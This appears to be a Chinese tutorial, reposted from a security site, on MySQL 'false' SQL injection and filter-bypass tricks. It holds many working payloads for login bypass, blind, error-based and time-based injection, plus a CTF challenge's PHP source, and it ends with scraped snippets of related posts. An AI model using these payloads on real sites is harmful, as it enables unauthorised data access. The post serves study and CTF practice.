MySQL False注入及技巧总结

0x01 False Injection



引子

首先我们常见的注入

  1. 1=1
  2. 0<1
  3. ‘‘=‘‘

这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。

首先抛出这么一个问题

为什么username=0会导致返回数据呢?

这就是一个基于false注入的例子,下面在举一个例子

和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。

MYSQL隐式类型转换

关于官方文档中是这么说的

The following rules describe how conversion occurs for comparison operations:

If one or both arguments are NULL, the result of the comparison is NULL, except for the NULL-safe <=> equality comparison operator. For NULL <=> NULL, the result is true. No conversion is needed.

If both arguments in a comparison operation are strings, they are compared as strings.

If both arguments are integers, they are compared as integers.

Hexadecimal values are treated as binary strings if not compared to a number.

If one of the arguments is a TIMESTAMP or DATETIME column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to IN()! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using BETWEEN with date or time values, use CAST() to explicitly convert the values to the desired data type.

If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.

In all other cases, the arguments are compared as floating-point (real) numbers.

其中大致是:

如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败

在这里我试了试如果是字符串和数字比较:

可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。

现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。

2、利用

实际中我们接触到的语句都是带有引号的,类似于where username=’+input+’ 这样的,这时候我们就需要做一些处理来构造false注入的利用点。

2.1、算术运算

加:+

  1. ‘+‘, 拼接的语句:where username=‘‘+‘‘

减:-

  1. ‘-‘ 拼接的语句:where username=‘‘-‘‘

乘:*

  1. ‘*‘ 拼接的语句:where username=‘‘*‘‘

除:/

  1. ‘/6# 拼接的语句:where username=‘‘/6#

取余:%

  1. ‘%1# 拼接的语句:where username=‘‘%1#

2.2、 位操作运算

我们可以使用当字符串和数字运算的时候类型转换的问题进行利用

我们可以用的位运算符有:

和运算:&

  1. ‘&0# 拼接的语句:where username=‘‘&0#‘

或运算:|

  1. ‘|0# 拼接的语句:where username=‘‘|0#‘

异或运算:^

  1. ‘^0# 拼接的语句:where username=‘‘^0#‘

移位操作:

  1. ‘<<0# ‘>>0#

位非(~):这里位非运算符由于是在表达式之前的

2.3、 比较运算符

安全等于:<=>

  1. ‘=0<=>1# 拼接的语句:where username=‘‘=0<=>1#‘

不等于<>(!=)

  1. ‘=0<>0# 拼接的语句:where username=‘‘=0<>0#‘

大小于>或<

  1. ‘>-1# 拼接的语句:where username=‘‘>-1#

2.4、 其他

  1. ‘+1 is not null# ‘in(-1,1)# ‘not in(1,0)# ‘like 1# ‘REGEXP 1# ‘BETWEEN 1 AND 1# ‘div 1# ‘xor 1# ‘=round(0,1)=‘1 ‘<>ifnull(1,2)=‘1

3、综合利用

false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。

这里举例一道题

  1. <?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values (‘admin‘,‘".md5(randStr())."‘,‘admin‘)"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode(‘%09‘)."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode(‘%0c‘)."|".urldecode(‘%0d‘)."|".urldecode(‘%a0‘)."/i"; if(preg_match($filter,$str)){ die("you can‘t input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username =‘".$username."‘"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()[‘role‘]; }else{ die("Don‘t have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == ‘admin‘){ die("you can‘t login this as admin!"); } $sql = "select * from `user` where username=‘".$conn->escape_string($username)."‘ and passwd=‘".$conn->escape_string($passwd)."‘"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()[‘role‘] === ‘admin‘) exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST[‘username‘])?filter($_POST[‘username‘]):""; $passwd = isset($_POST[‘passwd‘])?filter($_POST[‘passwd‘]):""; $action = isset($_GET[‘action‘])?filter($_GET[‘action‘]):"source"; switch($action){case"source": source(); break ; case"login" : login($username,$passwd);break; case"show" : show($username);break; }

我们注意到filter()函数

  1. $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode(‘%09‘)."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode(‘%0c‘)."|".urldecode(‘%0d‘)."|".urldecode(‘%a0‘)."/i";

这里看起来过滤的比较多,其中and,or还有\&,|都被过滤了,这个时候就可以利用false进行盲注。

可以在show函数利用查询的时候注入,

  1. username = "admin‘^!(mid((passwd)from(-{pos}))=‘{passwd}‘)=‘1"

这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以

异或会使字符串都转为浮点型,都变为了0,由于0=0^0 -> 1^0 -> 1当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多还有就是构造的payload比较简短,例如’+’、’^’、’/4#这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。

3.1、结合盲注

上面的例子payload就是利用字符串类型转换导致false注入结合盲注的一个过程

0x02 一些注入的技巧



mysql中,我们用得到的:

常量:true, false, null, \N, current_timestamp变量:@myvar:=1

系统变量:@@version, @@datadir….

常用函数:version(), pi(), pow(), char(), substring()

字符串生成:hex(), conv()

有关于字符串生成的一些基础字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6

1、过滤的绕过:

  1. 空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释 and,or:||,&& union select: 利用括号,‘and(true)like(false)union(select(pass)from(users)), 方括号union [all|distinct] select pass from users#, union%a0select pass from users, 或者内联注释union/*&sort=*/select pass from users# union:子查询进行盲注and length((select pass from users having substr(pass,1,1)=‘a‘)) having:and(select substr(group_concat(pass),1,1)from users)=‘a select ... from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i): select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users) select,and,&: 这里就是可以利用上文中提到的false注入的方式进行绕过,具体见上文

不使用逗号:’ and substr(data from 1 for 1) = ‘a’#

2、技巧

下面说几种不同情境的注入技巧

2.1、like

有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注

  1. if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)

2.2、Limt

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。

利用PROCEDURE 有两种方式,基于报错和时间的,具体文章见这里Mysql下Limit注入方法

基于报错:

  1. mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

基于时间:

  1. SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

2.3、order by

order by 后的数字可以作为一个注入点。具体可以看这个文章MySQL Order By 注入总结

这里可以用一些判断和返回值进行利用,

  1. /?order=IF(1=1,name,price) 通过name字段排序 /?order=IF(1=2,name,price) 通过price字段排序
  1. /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
  1. /?order=IFNULL(NULL,price) 通过price字段排序 /?order=IFNULL(NULL,name) 通过name字段排序

还可以用rand函数

  1. /?order=rand(1=1) /?order=rand(1=2)

通常这里我们是不知道列名的,那可以通过报错进行利用

  1. /?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误 利用regexp /?order=(select+1+regexp+if(1=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 错误 利用updatexml /?order=updatexml(1,if(1=1,1,user()),1) 正确 /?order=updatexml(1,if(1=2,1,user()),1) 错误 利用extractvalue /?order=extractvalue(1,if(1=1,1,user())) 正确 /?order=extractvalue(1,if(1=2,1,user())) 错误 利用sleep()也可以.... 方法比较灵活

3、有关函数

3.1 不常用函数绕过滤

  1. lpad(data,1,space(1)) // lpad(‘hi‘,4,‘?‘) = ‘??hi‘ rpad(data,1,space(1)) // rpad(‘hi‘,4,‘?‘) = ‘hi??‘ left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0))

3.2 搜索匹配类的函数

  1. ‘-if(locate(‘f‘,data),1,0)# ‘-if(locate(‘fo‘,data),1,0)# ‘-if(locate(‘foo‘,data),1,0)# instr(), position()

3.4、使用函数进行字符串的切割

  1. length(trim(leading ‘a‘ FROM data)) # length will be shorter length(replace(data, ‘a‘, ‘‘)) # length will be shorter

4 关于php中md5的一个小技巧

PHP中这么一段sql语句

  1. $sql = "SELECT * FROM admin WHERE pass = ‘".md5($password,true)."‘";

这里是可以注入绕过的,在php关于MD5函数的介绍说

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是’or‘<trash>,便产生注入

这里的原文在这

END

转载自安全客:http://bobao.360.cn/learning/detail/3804.html



false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。

同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。

参考



https://www.exploit-db.com/papers/18263/

https://www.secpulse.com/archives/57197.html

http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

时间: 2024-10-13 02:19:05

MySQL False注入及技巧总结的相关文章

MYSQL手工注入(详细步骤)—— 待补充

0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ?? ?????▲基于错误的 SQL 注入 ?? ??? ?▲联合查询的类型 ?? ??? ?▲堆查询注射 ?? ??? ?▲SQL 盲注 ?? ??? ??? ??基于布尔 SQL 盲注 ?? ??? ??? ??基于时间的 SQL 盲注 ?? ??? ??? ??基于报错的 SQL 盲注 (2)基于如何处理输入的 SQL 查询(数据类型) ?? ??? ??基于字符串 ?? ??? ??数字或整数为基础的 (3)基于程度和顺序的注

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

9Python全站之路系列之MySQL SL注入

Python全栈之路系列之MySQL SQL注入 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等. SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句. SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库. SQL注入的实现 创建SQLdb数据库 CREATE DATABASE SQL

101个MySQL的调优技巧(1)

MySQL是一个功能强大的开源数据库. 随着越来越多的数据库驱动的应用程序,人们一直在推动MySQL发展到它的极限. 这里是101条调节和优化MySQL安装的技巧. 一些技巧是针对特定的安装环境的,但这些思路是通用的. 我已经把他们分成几类,来帮助你掌握更多MySQL的调节和优化技巧. MySQL 服务器硬件和操作系统调节: 1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中--在内存中访问文件时的速度要比在硬盘中访问时快的多. 2. 不惜一切代价避免使用Swap交换分区 – 交换时是

mysql最好的优化技巧

mysql最好的优化技巧 发表于 2012-04-12 - 浏览:979 评论:0 收藏 0 1.选取最适用的字段属性 MySQL 可以很好的支持大数据量的存取,但是一般说来,数据库中的表越小,在它上面执行的查询也就会越快.因此,在创建表的时候,为了获得更好的性能,我们可以将表中字段的宽度设得尽可能小.例如,在定义邮政编码这个字段时,如果将其设置为CHAR(255),显然给数据库增加了不必要的空间,甚至使用VARCHAR这种类型也是多余的,因为CHAR(6)就可以很好的完成任务了.同样的,如果可

MySQL手工注入方法

MySQL手工注入方法 原文地址:https://www.cnblogs.com/blogs-1024/p/11141285.html

手工注入——MySQL手工注入实战和分析

今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错.这里通过and 1=1 发现页面正常.如下图. 接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点.如下图. 第二步,判断字段数 通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面

MySQL十大优化技巧详解

1.优化你的MySQL查询缓存 在MySQL服务器上进行查询,可以启用高速查询缓存.让数据库引擎在后台悄悄的处理是提高性能的最有效方法之一.当同一个查询被执行多次时,如果结果是从缓存中提取,那是相当快的. 但主要的问题是,它是那么容易被隐藏起来以至于我们大多数程序员会忽略它.在有些处理任务中,我们实际上是可以阻止查询缓存工作的. // query cache does NOT work $r = mysql_query("SELECT username FROM user WHERE signu

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应